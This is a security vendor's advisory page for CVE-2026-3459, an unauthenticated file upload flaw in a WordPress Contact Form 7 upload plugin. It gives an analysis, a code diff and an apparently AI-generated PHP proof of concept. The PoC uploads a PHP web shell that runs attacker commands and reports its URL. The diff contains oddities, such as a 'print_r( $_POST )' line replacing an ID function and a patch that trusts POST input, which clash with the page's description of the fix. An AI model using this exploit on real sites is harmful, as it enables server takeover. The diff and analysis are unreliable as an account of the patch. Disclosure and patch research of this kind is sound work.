Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3459: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.5 – Unauthenticated Arbitrary File Upload (drag-and-drop-multiple-file-upload-contact-form-7)

CVE ID CVE-2026-3459
Severity High (CVSS 8.1)
CWE 434
Vulnerable Version 1.3.9.5
Patched Version 1.3.9.6
Disclosed March 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3459:
The vulnerability exists in the dnd_upload_cf7_upload function within the Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin. The root cause is insufficient file type validation when a form field uses ‘*’ as the accepted file type. In versions up to 1.3.9.5, the function dnd_upload_cf7_upload at line 912 uses wp_check_filetype($file[‘name’]) to validate file extensions when $supported_type equals ‘*’. The validation only blocks ‘phar’ and ‘svg’ extensions via the $not_allowed_ext array, allowing attackers to upload files with dangerous extensions like .php, .php5, .php7, .php8, .phtml, and many others.

Exploitation requires an unauthenticated POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘dnd_upload_cf7_upload’. The attacker must also provide upload_folder and upload-file parameters. The upload_folder parameter must match the pattern used by the dnd_get_upload_dir function, which previously relied on a cookie-based unique ID but now accepts a sanitized folder name from POST data. The payload is a file with a malicious extension like .php, uploaded when the target form field accepts ‘*’ file types.

The patch in version 1.3.9.6 addresses this by expanding the $not_allowed_ext array to include ‘php5’, ‘php7’, ‘php8’, ‘html’, ‘xhtml’, ‘shtml’, ‘mhtml’, ‘dhtml’, ‘phtml’, ‘pht’, and other dangerous extensions. The patch also adds sanitize_file_name() calls to the filename before validation, uses wp_check_filetype($filename) instead of $file[‘name’], and implements a new dnd_cf7_remove_icons function to strip emojis from filenames. The dnd_cf7_not_allowed_ext function was updated with a comprehensive blocklist.

Successful exploitation allows unauthenticated attackers to upload arbitrary files, including PHP shells, to the server’s upload directory. This leads to remote code execution when the uploaded file is accessed via HTTP. The vulnerability has a CVSS score of 8.1 due to the low attack complexity and high impact on confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Code Diff
--- a/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
@@ -6,7 +6,7 @@
 	* Description: This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.
 	* Text Domain: drag-and-drop-multiple-file-upload-contact-form-7
 	* Domain Path: /languages
-	* Version: 1.3.9.5
+	* Version: 1.3.9.6
 	* Author: Glen Don L. Mongaya
 	* Author URI: http://codedropz.com
 	* License: GPL2
@@ -21,7 +21,7 @@
 	define( 'dnd_upload_cf7', true );

 	/**  Define plugin Version */
-	define( 'dnd_upload_cf7_version', '1.3.9.5' );
+	define( 'dnd_upload_cf7_version', '1.3.9.6' );

 	/**  Define constant Plugin Directories  */
 	define( 'dnd_upload_cf7_directory', untrailingslashit( dirname( __FILE__ ) ) );
--- a/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
@@ -16,7 +16,6 @@

 	add_action( 'wpcf7_init', 'dnd_cf7_upload_add_form_tag_file' );
 	add_action( 'wpcf7_enqueue_scripts', 'dnd_cf7_scripts' );
-	add_action( 'wpcf7_enqueue_scripts', 'dnd_cf7_cookie_scripts', 50 );

 	// Hook on plugins loaded
 	add_action('plugins_loaded','dnd_cf7_upload_plugins_loaded');
@@ -73,9 +72,7 @@

 	// Return created cookie with unique id.
 	function dnd_cf7_get_unique_id() {
-		if ( isset( $_COOKIE['wpcf7_guest_user_id'] ) ) {
-			return $_COOKIE['wpcf7_guest_user_id'];
-		}
+		print_r( $_POST );
 	}

     // Add links to settings
@@ -203,9 +200,6 @@
 				if( $field->basetype == 'mfile' && isset( $posted_data[$field_name] ) && ! empty( $posted_data[$field_name] ) ) {
 					if ( is_array( $posted_data ) ) {
 						foreach( $posted_data[$field_name] as $key => $file ) {
-							if ( strpos( dirname($file), 'wpcf7-files' ) !== false ) {
-								$file = wp_basename( $file ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
-							}
 							$posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
 						}
 					}
@@ -252,9 +246,9 @@
 	}

 	// Get folder path
-	function dnd_get_upload_dir( $dir = false ) {
+	function dnd_get_upload_dir( $dir = '' ) {
 		$upload      = wp_upload_dir();
-		$uploads_dir = wpcf7_dnd_dir . '/wpcf7-files';
+		$uploads_dir = wpcf7_dnd_dir . '/wpcf7-files'; // ie: "/wp_dndcf7_uploads/wpcf7-files"

 		// Send file as links is enabled.
 		if ( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' ) {
@@ -262,31 +256,33 @@
 		}

 		// Setup random/unique folder, only created if user uploading.
-		if ( true === $dir ) {
-			$unique_id = dnd_cf7_get_unique_id();
+		if ( $dir ) {
+			$unique_id = sanitize_file_name( $dir );
 			if ( ! empty( $unique_id ) ) {
-				$unique_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
-				if ( '' !== $unique_id ) {
-					$uploads_dir = trailingslashit( $uploads_dir ) . sanitize_file_name( $unique_id );
-				}
+				$unique_id   = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
+				$uploads_dir = trailingslashit( $uploads_dir ) . $unique_id;
 			}
 		}

+		// Get full dir and url
+		$full_dir = wp_normalize_path( trailingslashit( $upload['basedir'] ) . $uploads_dir );
+		$full_url = trailingslashit( $upload['baseurl'] ) . $uploads_dir;
+
 		// Create directory if not exists.
-		if ( ! is_dir( trailingslashit( $upload['basedir'] ) . $uploads_dir ) ) {
-			wp_mkdir_p( trailingslashit( $upload['basedir'] ) . $uploads_dir );
-            chmod( trailingslashit( $upload['basedir'] ) . $uploads_dir, 0755 );
+		if ( ! is_dir( $full_dir ) ) {
+			wp_mkdir_p( $full_dir );
+            @chmod( $full_dir, 0755 );
 		}

 		// Make sure directory exist before returning
-		if( file_exists( trailingslashit( $upload['basedir'] ) . $uploads_dir ) ) {
+		if( file_exists( $full_dir ) ) {
 			return array(
-				'upload_dir'	=>	trailingslashit( $upload['basedir'] ) . $uploads_dir,
-				'upload_url'	=>	trailingslashit( $upload['baseurl'] ) . $uploads_dir
+				'upload_dir'	=>	$full_dir,
+				'upload_url'	=>	$full_url
 			);
 		}

-		return trailingslashit( $upload['basedir'] ) . $uploads_dir;
+		return $full_dir;
 	}

 	// Clean up directory - From Contact Form 7
@@ -585,28 +581,6 @@
 		wp_enqueue_style( 'dnd-upload-cf7', plugins_url ('/assets/css/dnd-upload-cf7.css', dirname(__FILE__) ), '', $version );
 	}

-	// Add inline js for cookie script.
-	function dnd_cf7_cookie_scripts() {
-		wp_add_inline_script( 'codedropz-uploader',
-			"
-			function dnd_cf7_generateUUIDv4() {
-				const bytes = new Uint8Array(16);
-				crypto.getRandomValues(bytes);
-				bytes[6] = (bytes[6] & 0x0f) | 0x40; // version 4
-				bytes[8] = (bytes[8] & 0x3f) | 0x80; // variant 10
-				const hex = Array.from(bytes, b => b.toString(16).padStart(2, '0')).join('');
-				return hex.replace(/^(.{8})(.{4})(.{4})(.{4})(.{12})$/, '$1-$2-$3-$4-$5');
-			}
-
-			document.addEventListener('DOMContentLoaded', function() {
-				if ( ! document.cookie.includes('wpcf7_guest_user_id')) {
-					document.cookie = 'wpcf7_guest_user_id=' + dnd_cf7_generateUUIDv4() + '; path=/; max-age=' + (12 * 3600) + '; samesite=Lax';
-				}
-			});
-			"
-		);
-	}
-
 	// Generate tag
 	function dnd_cf7_upload_add_form_tag_file() {
 		wpcf7_add_form_tag(	array( 'mfile ', 'mfile*'), 'dnd_cf7_upload_form_tag_handler', array( 'name-attr' => true ) );
@@ -912,7 +886,8 @@
 		}

 		// Get upload dir
-		$path = dnd_get_upload_dir( true ); // ok
+		$folder = isset( $_POST['upload_folder'] ) ? sanitize_text_field( $_POST['upload_folder'] ) : null;
+		$path   = dnd_get_upload_dir( $folder ); // ok

 		// input type file 'name'
 		$name = 'upload-file';
@@ -938,17 +913,18 @@
         // Create file name
 		$filename = wp_basename( $file['name'] );
 		$filename = wpcf7_canonicalize( $filename, 'as-is' );
+		$filename = sanitize_file_name( $filename ); // sanitize filename
+
+		// Check unique name
+        $filename = wp_unique_filename( $path['upload_dir'], $filename );

 		// Get file extension
         $extension = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );

-        // Check unique name
-        $filename = wp_unique_filename( $path['upload_dir'], $filename );
-
         // Validate File Types (if supported type is set to "*")
 		if ( $supported_type == '*' ) {
-			$file_type          = wp_check_filetype( $file['name'] );
-			$not_allowed_ext    = array( 'phar', 'svg',  ); // not allowed file type.
+			$file_type          = wp_check_filetype( $filename );
+			$not_allowed_ext    = array( 'phar', 'svg', 'php5', 'php7', 'php8' ); // not allowed file type.
 			$type_ext           = ( $file_type['ext'] !== false ? strtolower( $file_type['ext'] ) : $extension );
 			$error_invalid_type = dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type');

@@ -960,19 +936,17 @@
 		}

 		// validate file type
-		if ( ( ! preg_match( $file_type_pattern, $file['name'] ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
+		if ( ( ! preg_match( $file_type_pattern, $filename ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
 		    wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ? dnd_cf7_settings('drag_n_drop_error_invalid_file') : dnd_cf7_error_msg('invalid_type') );
 		}

         // validate mime type
-        if( $supported_type && $supported_type != '*' ){
+        if ( $supported_type && $supported_type != '*' ){

             // wheather if we validate mime type
             $validate_mime = apply_filters('dnd_cf7_validate_mime', false );
-
-            if( $validate_mime ){
-
-                if( ! function_exists('wp_check_filetype_and_ext') ){
+            if ( $validate_mime ) {
+                if ( ! function_exists('wp_check_filetype_and_ext') ){
                     require_once ABSPATH .'wp-admin/includes/file.php';
                 }

@@ -980,20 +954,21 @@
                 $wp_filetype = wp_check_filetype_and_ext( $tmp_file, $file['name'] ); //[ext, type]
                 $valid_mimes = explode('|', $supported_type); // array[png, jpg]

-                if( empty( $wp_filetype['type'] ) || empty( $wp_filetype['ext'] ) || ! in_array( $wp_filetype['ext'], $valid_mimes ) ){
+                if ( empty( $wp_filetype['type'] ) || empty( $wp_filetype['ext'] ) || ! in_array( $wp_filetype['ext'], $valid_mimes ) ){
                     wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ? dnd_cf7_settings('drag_n_drop_error_invalid_file') : dnd_cf7_error_msg('invalid_type') );
                 }
             }
         }

 		// validate file size limit
-		if( isset( $size_limit["$cf7_upload_name"] ) && $file['size'] > $size_limit["$cf7_upload_name"] ) {
+		if ( isset( $size_limit["$cf7_upload_name"] ) && $file['size'] > $size_limit["$cf7_upload_name"] ) {
 			wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_files_too_large') ? dnd_cf7_settings('drag_n_drop_error_files_too_large') : dnd_cf7_error_msg('large_file') );
 		}

 		// Check if string is ascii then proceed with antiscript function ( remove or clean filename )
-		if( dnd_cf7_check_ascii( $filename ) ){
-			$filename = wpcf7_antiscript_file_name( $filename );
+		$ascii_name = dnd_cf7_remove_icons( $filename );
+		if ( dnd_cf7_check_ascii( $ascii_name ) ) {
+			$filename = wpcf7_antiscript_file_name( $ascii_name );
 		}

 		// Randomize filename
@@ -1036,8 +1011,24 @@
 		die;
 	}

+	// Force to remove emoji in the filename.
+	function dnd_cf7_remove_icons( $filename ) {
+		return preg_replace(
+			'/[x{1F000}-x{1FAFF}'
+			. 'x{2600}-x{27BF}'
+			. 'x{1F1E6}-x{1F1FF}'
+			. 'x{200D}'
+			. 'x{FE00}-x{FE0F}'
+			. 'x{1F3FB}-x{1F3FF}]/u',
+			'',
+			$filename
+		);
+	}
+
 	// Check if a string is ASCII.
 	function dnd_cf7_check_ascii( $string ) {
+		$string = sanitize_file_name( $string );
+
 		if ( function_exists( 'mb_check_encoding' ) ) {
 			if ( mb_check_encoding( $string, 'ASCII' ) ) {
 				return true;
@@ -1077,17 +1068,17 @@
             }

 			// Validate path if it's match on the current folder
-			$unique_id      = dnd_cf7_get_unique_id();
+			$unique_id      = isset( $_POST['upload_folder'] ) ? sanitize_file_name( $_POST['upload_folder'] ) : '';
 			$current_folder = trim( dirname( $path ) );
 			$file_name      = wp_basename( $path ); // added Aug 2025
-			$current_path   = $dir['upload_dir'] .'/'. sanitize_file_name( $unique_id ) .'/'. $file_name;
+			$current_path   = $dir['upload_dir'] .'/'. $unique_id .'/'. $file_name;

 			// Validate unique id.
 			if ( empty( $unique_id ) || ! preg_match( '/^(?!.{1,2}$)[a-zA-Z0-9_-]+$/', (string) $unique_id ) ) {
 				wp_send_json_error( 'Error: Invalid Request.' );
 			}

-			// Validate cookie and current_folder to ensure they match.
+			// Validate unique id and current_folder to ensure they match.
 			if ( ( $unique_id !== $current_folder ) || ! file_exists( $current_path ) || preg_match( '#..[/\\]#', $path ) ) {
 				wp_send_json_error( 'Error: Unauthorized Request!' );
 			}
@@ -1144,7 +1135,7 @@

 	// list of not allowed extensions.
 	function dnd_cf7_not_allowed_ext() {
-		return array( 'svg', 'phar', 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+		return array( 'html', 'svg', 'phar', 'php', 'php3','php4','pht', 'php5', 'php7', 'php8', 'xhtml','shtml', 'mhtml', 'dhtml', 'phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
 	}

 	// Add more validation for file extension
@@ -1425,6 +1416,7 @@
 		return $default_value;
 	}

+	// Get the default Media max upload size.
 	function dnd_cf7_max_upload() {
 		$max    = wp_max_upload_size();
 		$max_mb = $max / 1024 / 1024;
@@ -1436,28 +1428,6 @@
 		return round( $max_mb, 2 ) . ' MB';
 	}

-	// Generate cookie (Cookie expiration 12 Hours)
-	function dnd_cf7_generate_cookie() {
-	?>
-		<script type="text/javascript">
-			function dnd_cf7_generateUUIDv4() {
-				const bytes = new Uint8Array(16);
-				crypto.getRandomValues(bytes);
-				bytes[6] = (bytes[6] & 0x0f) | 0x40; // version 4
-				bytes[8] = (bytes[8] & 0x3f) | 0x80; // variant 10
-				const hex = Array.from(bytes, b => b.toString(16).padStart(2, "0")).join("");
-				return hex.replace(/^(.{8})(.{4})(.{4})(.{4})(.{12})$/, "$1-$2-$3-$4-$5");
-			}
-
-			document.addEventListener("DOMContentLoaded", function() {
-				if ( ! document.cookie.includes("wpcf7_guest_user_id")) {
-					document.cookie = "wpcf7_guest_user_id=" + dnd_cf7_generateUUIDv4() + "; path=/; max-age=" + (12 * 3600) + "; samesite=Lax";
-				}
-			});
-		</script>
-	<?php
-	}
-
 	// Get current language (Polylang & WPML)
     function dnd_upload_cf7_lang() {
         $lang = null;

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3459 - Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.5 - Unauthenticated Arbitrary File Upload
<?php
$target_url = 'http://vulnerable-site.com';

// Generate a random folder name matching the plugin's expected pattern
$upload_folder = bin2hex(random_bytes(8));

// Create a temporary PHP shell file
$php_shell = '<?php echo "CVE-2026-3459 Test"; if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>';
$tmp_file = tempnam(sys_get_temp_dir(), 'exp');
file_put_contents($tmp_file, $php_shell);

// Prepare the multipart form data
$post_data = [
    'action' => 'dnd_upload_cf7_upload',
    'upload_folder' => $upload_folder,
    'cf7_upload_name' => 'test-field', // Must match a field with '*' file type
    'supported_type' => '*', // Wildcard file type acceptance
    'upload-file' => new CURLFile($tmp_file, 'application/x-php', 'shell.php')
];

// Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up temporary file
unlink($tmp_file);

// Parse response
if ($http_code === 200) {
    $json = json_decode($response, true);
    if ($json && isset($json['success']) && $json['success'] === true) {
        echo "Exploit successful. File uploaded: " . $json['data']['url'] . "n";
        echo "Test access with: " . $target_url . "/wp-content/uploads/wpcf7-files/" . $upload_folder . "/" . $json['data']['name'] . "n";
    } else {
        echo "Exploit failed. Response: " . $response . "n";
    }
} else {
    echo "HTTP Error: " . $http_code . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School